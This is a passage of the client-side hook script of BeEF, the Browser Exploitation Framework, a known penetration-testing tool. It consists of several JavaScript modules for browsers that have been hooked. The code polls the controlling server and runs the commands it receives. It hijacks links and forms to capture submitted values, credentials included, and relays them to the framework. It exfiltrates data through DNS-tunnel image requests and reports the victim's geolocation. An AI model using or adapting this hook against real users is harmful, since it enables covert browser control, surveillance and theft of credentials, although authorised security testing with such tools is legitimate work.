- beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
- response.status_code = -1;
- response.status_text = "mixedcontent";
- response.port_status = "mixedcontent";
- response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
- response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
- if (callback != null) callback(response, requestid);
- return response;
- }
- /*
- * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
- * This will turn POSTs into GETs for remote-domain requests.
- */
- if (method == "POST") {
- $j.ajaxSetup({
- dataType: dataType
- });
- } else {
- $j.ajaxSetup({
- dataType: 'script'
- });
- }
- // this is required for bugs in IE so data can be transferred back to the server
- if (beef.browser.isIE()) {
- dataType = 'script'
- }
- $j.ajax({type: method,
- dataType: dataType,
- url: url,
- headers: headers,
- timeout: (timeout * 1000),
- //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
- beforeSend: function (xhr) {
- if (method == "POST") {
- xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
- }
- },
- data: data,
- // http server responded successfully
- success: function (data, textStatus, xhr) {
- var end_time = new Date().getTime();
- response.status_code = xhr.status;
- response.status_text = textStatus;
- response.response_body = data;
- response.was_timedout = false;
- response.duration = (end_time - start_time);
- },
- // server responded with a http error (403, 404, 500, etc)
- // or server is not a http server
- error: function (xhr, textStatus, errorThrown) {
- var end_time = new Date().getTime();
- response.response_body = xhr.responseText;
- response.status_code = xhr.status;
- response.status_text = textStatus;
- response.duration = (end_time - start_time);
- },
- complete: function (xhr, textStatus) {
- // cross-domain request
- if (cross_domain) {
- response.port_status = "crossdomain";
- if (xhr.status != 0) {
- response.status_code = xhr.status;
- } else {
- response.status_code = -1;
- }
- if (textStatus) {
- response.status_text = textStatus;
- } else {
- response.status_text = "crossdomain";
- }
- if (xhr.getAllResponseHeaders()) {
- response.headers = xhr.getAllResponseHeaders();
- } else {
- response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
- }
- if (!response.response_body) {
- response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
- }
- } else {
- // same-domain request
- response.status_code = xhr.status;
- response.status_text = textStatus;
- response.headers = xhr.getAllResponseHeaders();
- // determine if TCP port is open/closed/not-http
- if (textStatus == "timeout") {
- response.was_timedout = true;
- response.response_body = "ERROR: Timed out\n";
- response.port_status = "closed";
- /*
- * With IE we need to explicitly set the dataType to "script",
- * so there will be always parse-errors if the content is != javascript
- * */
- } else if (textStatus == "parsererror") {
- response.port_status = "not-http";
- if (beef.browser.isIE()) {
- response.status_text = "success";
- response.port_status = "open";
- }
- } else {
- response.port_status = "open";
- }
- }
- callback(response, requestid);
- }
- });
- return response;
- },
- //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
- //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
- clean: function (r) {
- if (this.array_has_string_key(r)) {
- var obj = {};
- for (var key in r)
- obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
- return obj;
- }
- return r;
- },
- //Detects if an array has a string key
- array_has_string_key: function (arr) {
- if ($j.isArray(arr)) {
- try {
- for (var key in arr)
- if (isNaN(parseInt(key))) return true;
- } catch (e) {
- }
- }
- return false;
- },
- /**
- * Sends back browser details to framework, calling beef.browser.getDetails()
- */
- browser_details: function () {
- var details = beef.browser.getDetails();
- var res = null;
- details['HookSessionID'] = beef.session.get_hook_session_id();
- this.send('/init', 0, details);
- if(details != null)
- res = true;
- return res;
- }
- };
- beef.regCmp('beef.net');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @Literal object: beef.updater
- *
- * Object in charge of getting new commands from the BeEF framework and execute them.
- * The XHR-polling channel is managed here. If WebSockets are enabled,
- * websocket.ls is used instead.
- */
- beef.updater = {
- // XHR-polling timeout.
- xhr_poll_timeout: "1000",
- beefhook: "BEEFHOOK",
- // A lock.
- lock: false,
- // An object containing all values to be registered and sent by the updater.
- objects: new Object(),
- /*
- * Registers an object to always send when requesting new commands to the framework.
- * @param: {String} the name of the object.
- * @param: {String} the value of that object.
- *
- * @example: beef.updater.regObject('java_enabled', 'true');
- */
- regObject: function(key, value) {
- this.objects[key] = escape(value);
- },
- // Checks for new commands from the framework and runs them.
- check: function() {
- if(this.lock == false) {
- if (beef.logger.running) {
- beef.logger.queue();
- }
- beef.net.flush();
- if(beef.commands.length > 0) {
- this.execute_commands();
- }else {
- this.get_commands(); /*Polling*/
- }
- }
- /* The following gives a stupid syntax error in IE, which can be ignored*/
- setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
- },
- /**
- * Gets new commands from the framework.
- */
- get_commands: function() {
- try {
- this.lock = true;
- beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
- if (response.body != null && response.body.length > 0)
- beef.updater.execute_commands();
- });
- } catch(e) {
- this.lock = false;
- return;
- }
- this.lock = false;
- },
- /**
- * Executes the received commands, if any.
- */
- execute_commands: function() {
- if(beef.commands.length == 0) return;
- this.lock = true;
- while(beef.commands.length > 0) {
- command = beef.commands.pop();
- try {
- command();
- } catch(e) {
- beef.debug('execute_commands - command failed to execute: ' + e.message);
- // prints the command source to be executed, to better trace errors
- // beef.client_debug must be enabled in the main config
- beef.debug(command.toString());
- }
- }
- this.lock = false;
- }
- };
- beef.regCmp('beef.updater');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- // Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
- beef.encode = {};
- beef.encode.base64 = {
- keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
- encode : function (input) {
- if (window.btoa) {
- return btoa(unescape(encodeURIComponent(input)));
- }
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var i = 0;
- input = beef.encode.base64.utf8_encode(input);
- while (i < input.length) {
- chr1 = input.charCodeAt(i++);
- chr2 = input.charCodeAt(i++);
- chr3 = input.charCodeAt(i++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if (isNaN(chr2)) {
- enc3 = enc4 = 64;
- } else if (isNaN(chr3)) {
- enc4 = 64;
- }
- output = output +
- this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
- this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
- }
- return output;
- },
- decode : function (input) {
- if (window.atob) {
- return escape(atob(input));
- }
- var output = "";
- var chr1, chr2, chr3;
- var enc1, enc2, enc3, enc4;
- var i = 0;
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- while (i < input.length) {
- enc1 = this.keyStr.indexOf(input.charAt(i++));
- enc2 = this.keyStr.indexOf(input.charAt(i++));
- enc3 = this.keyStr.indexOf(input.charAt(i++));
- enc4 = this.keyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2);
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3);
- }
- }
- output = beef.encode.base64.utf8_decode(output);
- return output;
- },
- utf8_encode : function (string) {
- string = string.replace(/\r\n/g,"\n");
- var utftext = "";
- for (var n = 0; n < string.length; n++) {
- var c = string.charCodeAt(n);
- if (c < 128) {
- utftext += String.fromCharCode(c);
- }
- else if((c > 127) && (c < 2048)) {
- utftext += String.fromCharCode((c >> 6) | 192);
- utftext += String.fromCharCode((c & 63) | 128);
- }
- else {
- utftext += String.fromCharCode((c >> 12) | 224);
- utftext += String.fromCharCode(((c >> 6) & 63) | 128);
- utftext += String.fromCharCode((c & 63) | 128);
- }
- }
- return utftext;
- },
- utf8_decode : function (utftext) {
- var string = "";
- var i = 0;
- var c = c1 = c2 = 0;
- while ( i < utftext.length ) {
- c = utftext.charCodeAt(i);
- if (c < 128) {
- string += String.fromCharCode(c);
- i++;
- }
- else if((c > 191) && (c < 224)) {
- c2 = utftext.charCodeAt(i+1);
- string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
- i += 2;
- }
- else {
- c2 = utftext.charCodeAt(i+1);
- c3 = utftext.charCodeAt(i+2);
- string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
- i += 3;
- }
- }
- return string;
- }
- };
- beef.regCmp('beef.encode.base64');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- // Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
- beef.encode.json = {
- stringify: function(o) {
- if (typeof(JSON) == 'object' && JSON.stringify) {
- // Error on stringifying cylcic structures caused polling to die
- try {
- s = JSON.stringify(o);
- } catch(error) {
- // TODO log error / handle cyclic structures?
- }
- return s;
- }
- var type = typeof(o);
- if (o === null)
- return "null";
- if (type == "undefined")
- return '\"\"';
- if (type == "number" || type == "boolean")
- return o + "";
- if (type == "string")
- return $j.quoteString(o);
- if (type == 'object')
- {
- if (typeof o.toJSON == "function")
- return $j.toJSON( o.toJSON() );
- if (o.constructor === Date)
- {
- var month = o.getUTCMonth() + 1;
- if (month < 10) month = '0' + month;
- var day = o.getUTCDate();
- if (day < 10) day = '0' + day;
- var year = o.getUTCFullYear();
- var hours = o.getUTCHours();
- if (hours < 10) hours = '0' + hours;
- var minutes = o.getUTCMinutes();
- if (minutes < 10) minutes = '0' + minutes;
- var seconds = o.getUTCSeconds();
- if (seconds < 10) seconds = '0' + seconds;
- var milli = o.getUTCMilliseconds();
- if (milli < 100) milli = '0' + milli;
- if (milli < 10) milli = '0' + milli;
- return '"' + year + '-' + month + '-' + day + 'T' +
- hours + ':' + minutes + ':' + seconds +
- '.' + milli + 'Z"';
- }
- if (o.constructor === Array)
- {
- var ret = [];
- for (var i = 0; i < o.length; i++)
- ret.push( $j.toJSON(o[i]) || "null" );
- return "[" + ret.join(",") + "]";
- }
- var pairs = [];
- for (var k in o) {
- var name;
- var type = typeof k;
- if (type == "number")
- name = '"' + k + '"';
- else if (type == "string")
- name = $j.quoteString(k);
- else
- continue; //skip non-string or number keys
- if (typeof o[k] == "function")
- continue; //skip pairs where the value is a function.
- var val = $j.toJSON(o[k]);
- pairs.push(name + ":" + val);
- }
- return "{" + pairs.join(", ") + "}";
- }
- },
- quoteString: function(string) {
- if (string.match(this._escapeable))
- {
- return '"' + string.replace(this._escapeable, function (a)
- {
- var c = this._meta[a];
- if (typeof c === 'string') return c;
- c = a.charCodeAt();
- return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
- }) + '"';
- }
- return '"' + string + '"';
- },
- _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
- _meta : {
- '\b': '\\b',
- '\t': '\\t',
- '\n': '\\n',
- '\f': '\\f',
- '\r': '\\r',
- '"' : '\\"',
- '\\': '\\\\'
- }
- };
- $j.toJSON = function(o) {return beef.encode.json.stringify(o);};
- $j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
- beef.regCmp('beef.encode.json');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net.local
- *
- * Provides networking functions for the local/internal network of the zombie.
- */
- beef.net.local = {
- sock: false,
- checkJava: false,
- hasJava: false,
- /**
- * Initializes the java socket. We have to use this method because
- * some browsers do not have java installed or it is not accessible.
- * in which case creating a socket directly generates an error. So this code
- * is invalid:
- * sock: new java.net.Socket();
- */
- initializeSocket: function() {
- if(this.checkJava){
- if(!beef.browser.hasJava()) {
- this.checkJava=True;
- this.hasJava=False;
- return -1;
- }else{
- this.checkJava=True;
- this.hasJava=True;
- return 1;
- }
- }
- else{
- if(!this.hasJava) return -1;
- else{
- try {
- this.sock = new java.net.Socket();
- } catch(e) {
- return -1;
- }
- return 1;
- }
- }
- },
- /**
- * Returns the internal IP address of the zombie.
- * @return: {String} the internal ip of the zombie.
- * @error: return -1 if the internal ip cannot be retrieved.
- */
- getLocalAddress: function() {
- if(!this.hasJava) return false;
- this.initializeSocket();
- try {
- this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
- this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
- return this.sock.getLocalAddress().getHostAddress();
- } catch(e) { return false; }
- },
- /**
- * Returns the internal hostname of the zombie.
- * @return: {String} the internal hostname of the zombie.
- * @error: return -1 if the hostname cannot be retrieved.
- */
- getLocalHostname: function() {
- if(!this.hasJava) return false;
- this.initializeSocket();
- try {
- this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
- this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
- return this.sock.getLocalAddress().getHostName();
- } catch(e) { return false; }
- }
- };
- beef.regCmp('beef.net.local');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /**
- * @literal object: beef.init
- * Contains the beef_init() method which starts the BeEF client-side
- * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
- *
- * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
- * and will have a new session id. The new session id will need to know
- * the brwoser details. So sendback the browser details again.
- */
- beef.session.get_hook_session_id();
- if (beef.pageIsLoaded) {
- beef.net.browser_details();
- }
- window.onload = function () {
- beef_init();
- };
- window.onpopstate = function (event) {
- if (beef.onpopstate.length > 0) {
- event.preventDefault;
- for (var i = 0; i < beef.onpopstate.length; i++) {
- var callback = beef.onpopstate[i];
- try {
- callback(event);
- } catch (e) {
- beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
- }
- return false;
- }
- }
- };
- window.onclose = function (event) {
- if (beef.onclose.length > 0) {
- event.preventDefault;
- for (var i = 0; i < beef.onclose.length; i++) {
- var callback = beef.onclose[i];
- try {
- callback(event);
- } catch (e) {
- beef.debug("window.onclose - couldn't execute callback: " + e.message);
- }
- return false;
- }
- }
- };
- /**
- * Starts the polling mechanism, and initialize various components:
- * - browser details (see browser.js) are sent back to the "/init" handler
- * - the polling starts (checks for new commands, and execute them)
- * - the logger component is initialized (see logger.js)
- * - the Autorun Engine is initialized (see are.js)
- */
- function beef_init() {
- if (!beef.pageIsLoaded) {
- beef.pageIsLoaded = true;
- beef.net.browser_details();
- if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
- setTimeout(function(){
- beef.websocket.start();
- beef.updater.execute_commands();
- beef.logger.start();
- }, parseInt(beef.websocket.ws_connect_timeout));
- }else {
- beef.net.browser_details();
- beef.updater.execute_commands();
- beef.updater.check();
- beef.logger.start();
- }
- }
- }
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- beef.mitb = {
- cid:null,
- curl:null,
- init:function (cid, curl) {
- beef.mitb.cid = cid;
- beef.mitb.curl = curl;
- /*Override open method to intercept ajax request*/
- var hook_file = "/hook.js";
- if (window.XMLHttpRequest && !(window.ActiveXObject)) {
- beef.mitb.sniff("Method XMLHttpRequest.open override");
- (function (open) {
- XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
- // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
- // or a request initiated by the MiTB itself.
- if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
- open.call(this, method, url, async, true);
- }else {
- var portRegex = new RegExp(":[0-9]+");
- var portR = portRegex.exec(url);
- var requestPort;
- if (portR != null) { requestPort = portR[0].split(":")[1]; }
- //GET request
- if (method == "GET") {
- //GET request -> cross-origin
- if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
- beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
- window.open(url);
- }else { //GET request -> same-origin
- beef.mitb.sniff("GET [Ajax Request]: " + url);
- if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
- var title = "";
- if (document.getElementsByTagName("title").length == 0) {
- title = document.title;
- } else {
- title = document.getElementsByTagName("title")[0].innerHTML;
- }
- // write the url of the page
- history.pushState({ Be:"EF" }, title, url);
- }
- }
- }else{
- //POST request
- beef.mitb.sniff("POST ajax request to: " + url);
- open.call(this, method, url, async, true);
- }
- }
- };
- })(XMLHttpRequest.prototype.open);
- }
- },
- // Initializes the hook on anchors and forms.
- hook:function () {
- beef.onpopstate.push(function (event) {
- beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
- });
- beef.onclose.push(function (event) {
- beef.mitb.endSession();
- });
- var anchors = document.getElementsByTagName("a");
- var forms = document.getElementsByTagName("form");
- var lis = document.getElementsByTagName("li");
- for (var i = 0; i < anchors.length; i++) {
- anchors[i].onclick = beef.mitb.poisonAnchor;
- }
- for (var i = 0; i < forms.length; i++) {
- beef.mitb.poisonForm(forms[i]);
- }
- for (var i = 0; i < lis.length; i++) {
- if (lis[i].hasAttribute("onclick")) {
- lis[i].removeAttribute("onclick");
- /*clear*/
- lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
- /*override*/
- }
- }
- },
- // Hooks anchors and prevents them from linking away
- poisonAnchor:function (e) {
- try {
- e.preventDefault;
- if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
- var title = "";
- if (document.getElementsByTagName("title").length == 0) {
- title = document.title;
- } else {
- title = document.getElementsByTagName("title")[0].innerHTML;
- }
- history.pushState({ Be:"EF" }, title, e.currentTarget);
- }
- } catch (e) {
- beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
- }
- return false;
- },
- // Hooks forms and prevents them from linking away
- poisonForm:function (form) {
- form.onsubmit = function (e) {
- // Collect <input> tags.
- var inputs = form.getElementsByTagName("input");
- var query = "";
- for (var i = 0; i < inputs.length; i++) {
- switch (inputs[i].type) {
- case "submit":
- break;
- default:
- query += inputs[i].name + "=" + inputs[i].value + '&';
- break;
- }
- }
- // Collect selected options from the form.
- var selects = form.getElementsByTagName("select");
- for (var i = 0; i < selects.length; i++) {
- var select = selects[i];
- query += select.name + "=" + select.options[select.selectedIndex].value + '&';
- }
- // We should be gathering 'submit' inputs as well, as there are
- // applications demanding this parameter.
- var submit = $j('*[type="submit"]', form);
- if(submit.length) {
- // Append name of the submit button/input.
- query += submit.attr('name') + '=' + submit.attr('value');
- }
- if(query.slice(-1) == '&') {
- query = query.slice(0, -1);
- }
- e.preventdefault;
- beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
- history.pushState({ Be:"EF" }, "", form.action);
- return false;
- }
- },
- // Fetches a hooked form with AJAX
- fetchForm:function (url, query, target) {
- try {
- var y = new XMLHttpRequest();
- y.open('POST', url, false, true);
- y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- y.onreadystatechange = function () {
- if (y.readyState == 4 && y.responseText != "") {
- target.innerHTML = y.responseText;
- setTimeout(beef.mitb.hook, 10);
- }
- };
- y.send(query);
- beef.mitb.sniff("POST: " + url + "[" + query + "]");
- return true;
- } catch (x) {
- return false;
- }
- },
- // Fetches a hooked link with AJAX
- fetch:function (url, target) {
- try {
- var y = new XMLHttpRequest();
- y.open('GET', url, false, true);
- y.onreadystatechange = function () {
- if (y.readyState == 4 && y.responseText != "") {
- target.innerHTML = y.responseText;
- setTimeout(beef.mitb.hook, 10);
- }
- };
- y.send(null);
- beef.mitb.sniff("GET: " + url);
- return true;
- } catch (x) {
- window.open(url);
- beef.mitb.sniff("GET [New Window]: " + url);
- return false;
- }
- },
- // Fetches a window.location=http://domainname.com and setting up history
- fetchOnclick:function (url) {
- try {
- var target = document.getElementsByTagName("html")[0];
- var y = new XMLHttpRequest();
- y.open('GET', url, false, true);
- y.onreadystatechange = function () {
- if (y.readyState == 4 && y.responseText != "") {
- var title = "";
- if (document.getElementsByTagName("title").length == 0) {
- title = document.title;
- }
- else {
- title = document.getElementsByTagName("title")[0].innerHTML;
- }
- history.pushState({ Be:"EF" }, title, url);
- target.innerHTML = y.responseText;
- setTimeout(beef.mitb.hook, 10);
- }
- };
- y.send(null);
- beef.mitb.sniff("GET: " + url);
- } catch (x) {
- // the link is cross-origin, so load the resource in a different tab
- window.open(url);
- beef.mitb.sniff("GET [New Window]: " + url);
- }
- },
- // Relays an entry to the framework
- sniff:function (result) {
- try {
- beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
- } catch (x) {
- }
- return true;
- },
- // Signals the Framework that the user has lost the hook
- endSession:function () {
- beef.mitb.sniff("Window closed.");
- }
- };
- beef.regCmp('beef.mitb');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.geolocation
- *
- * Provides functionalities to use the geolocation API.
- */
- beef.geolocation = {
- /**
- * check if browser supports the geolocation API
- */
- isGeolocationEnabled: function(){
- return !!navigator.geolocation;
- },
- /*
- * given latitude/longitude retrieves exact street position of the zombie
- */
- getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
- // fixes damned issues with jquery 1.5, like this one:
- // http://bugs.jquery.com/ticket/8084
- $j.ajaxSetup({
- jsonp: null,
- jsonpCallback: null
- });
- $j.ajax({
- error: function(xhr, status, error){
- beef.debug("[geolocation.js] openstreetmap error");
- beef.net.send(command_url, command_id, "latitude=" + latitude
- + "&longitude=" + longitude
- + "&osm=UNAVAILABLE"
- + "&geoLocEnabled=True");
- },
- success: function(data, status, xhr){
- beef.debug("[geolocation.js] openstreetmap success");
- var jsonResp = $j.parseJSON(data);
- beef.net.send(command_url, command_id, "latitude=" + latitude
- + "&longitude=" + longitude
- // + "&osm=" + encodeURI(jsonResp.display_name)
- + "&osm=tofix"
- + "&geoLocEnabled=True");
- },
- type: "get",
- url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
- latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
- });
- },
- /*
- * retrieve latitude/longitude using the geolocation API
- */
- getGeolocation: function (command_url, command_id){
- if (!navigator.geolocation) {
- beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
- return;
- }
- beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
- navigator.geolocation.getCurrentPosition( //note: this is an async call
- function(position){ // success
- var latitude = position.coords.latitude;
- var longitude = position.coords.longitude;
- beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
- beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
- }, function(error){ // failure
- beef.debug("[geolocation.js] error [%d] getting position", error.code);
- switch(error.code) // Returns 0-3
- {
- case 0:
- beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
- return;
- case 1:
- beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
- return;
- case 2:
- beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
- return;
- case 3:
- beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
- return;
- }
- beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
- },
- {enableHighAccuracy:true, maximumAge:30000, timeout:27000}
- );
- }
- }
- beef.regCmp('beef.geolocation');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net.dns
- *
- * request object structure:
- * + msgId: {Integer} Unique message ID for the request.
- * + domain: {String} Remote domain to retrieve the data.
- * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
- * + callback: {Function} Callback function to receive the number of requests sent.
- */
- beef.net.dns = {
- handler: "dns",
- send: function(msgId, data, domain, callback) {
- var encode_data = function(str) {
- var result="";
- for(i=0;i<str.length;++i) {
- result+=str.charCodeAt(i).toString(16).toUpperCase();
- }
- return result;
- };
- var encodedData = encodeURI(encode_data(data));
- beef.debug(encodedData);
- beef.debug("_encodedData_ length: " + encodedData.length);
- // limitations to DNS according to RFC 1035:
- // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
- // o Domain names are limited to 255 characters in length (including dots)
- // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
- // o Subdomains are limited to 63 characters in length (including the trailing dot)
- // DNS request structure:
- // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
- //max_length: 3. 3 . 3 . 63 . x
- // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
- // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
- var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
- var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
- var max_data_segment_length = 63; // by RFC
- beef.debug("max_data_segment_length: " + max_data_segment_length);
- var dom = document.createElement('b');
- String.prototype.chunk = function(n) {
- if (typeof n=='undefined') n=100;
- return this.match(RegExp('.{1,'+n+'}','g'));
- };
- var sendQuery = function(query) {
- var img = new Image;
- //img.src = "http://"+query;
- img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
- img.onload = function() { dom.removeChild(this); }
- img.onerror = function() { dom.removeChild(this); }
- dom.appendChild(img);
- //experimental
- //setTimeout(function(){dom.removeChild(img)},1000);
- };
- var segments = encodedData.chunk(max_data_segment_length);
- var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
- beef.debug(segments.length);
- for (var seq=1; seq<=segments.length; seq++) {
- sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
- }
- // callback - returns the number of queries sent
- if (!!callback) callback(segments.length);
- }
- };
- beef.regCmp('beef.net.dns');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- // beef.net.connection - wraps Mozilla's Network Information API
- // https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
- // https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
- beef.net.connection = {
- /* Returns the connection type
- * @example: beef.net.connection.type()
- * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
- * @return: {String} connection type or 'unknown'.
- **/
- type: function () {
- try {
- var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
- var type = connection.type;
- if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
- } catch(e) {
- beef.debug("Error retrieving connection type: " + e.message);
- return 'unknown';
- }
- },
- /* Returns the maximum downlink speed of the connection
- * @example: beef.net.connection.downlinkMax()
- * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
- * @return: {String} downlink max or 'unknown'.
- **/
- downlinkMax: function () {
- try {
- var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
- var max = connection.downlinkMax;
- if (max) return max; else return 'unknown';
- } catch(e) {
- beef.debug("Error retrieving connection downlink max: " + e.message);
- return 'unknown';
- }
- }
- };
- beef.regCmp('beef.net.connection');
- beef.net.cors = {
- handler: "cors",
- /**
- * Response Object - used in the beef.net.request callback
- */
- response:function () {
- this.status = null; // 500, 404, 200, 302, etc
- this.headers = null; // full response headers
- this.body = null; // full response body
- },
- /**
- * Make a cross-origin request using CORS
- *
- * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
- * @param url {String} url
- * @param data {String} request body
- * @param timeout {Integer} request timeout in milliseconds
- * @param callback {Function} function to callback on completion
- */
- request: function(method, url, data, timeout, callback) {
- var xhr;
- var response = new this.response;
- if (XMLHttpRequest) {
- xhr = new XMLHttpRequest();
- if ('withCredentials' in xhr) {
- xhr.open(method, url, true);
- xhr.timeout = parseInt(timeout, 10);
- xhr.onerror = function() {
- };
- xhr.onreadystatechange = function() {
- if (xhr.readyState === 4) {
- response.headers = this.getAllResponseHeaders()
- response.body = this.responseText;
- response.status = this.status;
- if (!!callback) {
- if (!!response) {
- callback(response);
- } else {
- callback('ERROR: No Response. CORS requests may be denied for this resource.')
- }
- }
- }
- };
- xhr.send(data);
- }
- } else if (typeof XDomainRequest != "undefined") {
- xhr = new XDomainRequest();
- xhr.open(method, url);
- xhr.onerror = function() {
- };
- xhr.onload = function() {
- response.headers = this.getAllResponseHeaders()
- response.body = this.responseText;
- response.status = this.status;
- if (!!callback) {
- if (!!response) {
- callback(response);
- } else {
- callback('ERROR: No Response. CORS requests may be denied for this resource.')
